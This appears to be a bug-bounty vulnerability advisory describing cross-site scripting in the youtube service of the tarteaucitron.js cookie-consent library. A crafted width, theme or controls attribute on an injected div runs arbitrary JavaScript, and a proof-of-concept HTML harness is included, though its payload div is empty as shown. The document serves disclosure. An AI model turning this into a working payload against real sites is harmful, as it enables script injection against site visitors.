youtube service is vulnerable to XSS vulnerability

2023-07-0219:14:23

rudloff

www.huntr.dev

youtube

xss

vulnerability

attributes

bugbounty

0.001 Low

EPSS

Percentile

19.5%

JSON

Description

If an attacker is able to insert a div with attributes on a page where the youtube service is enabled, they can craft a width attribute that would allow them to execute arbitrary JS on the page.

(Other attributes like theme or controls are also vulnerable to this.)

Proof of Concept

&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
&lt;head&gt;
	&lt;title&gt;TAC XSS&lt;/title&gt;
	&lt;script src="tarteaucitron.js"&gt;&lt;/script&gt;
	&lt;script&gt;
	(tarteaucitron.job = tarteaucitron.job || []).push('youtube');
	tarteaucitron.init({ readmoreLink: '/foo', orientation: 'bottom' });
	&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
	<div></div>
&lt;/body&gt;
&lt;/html&gt;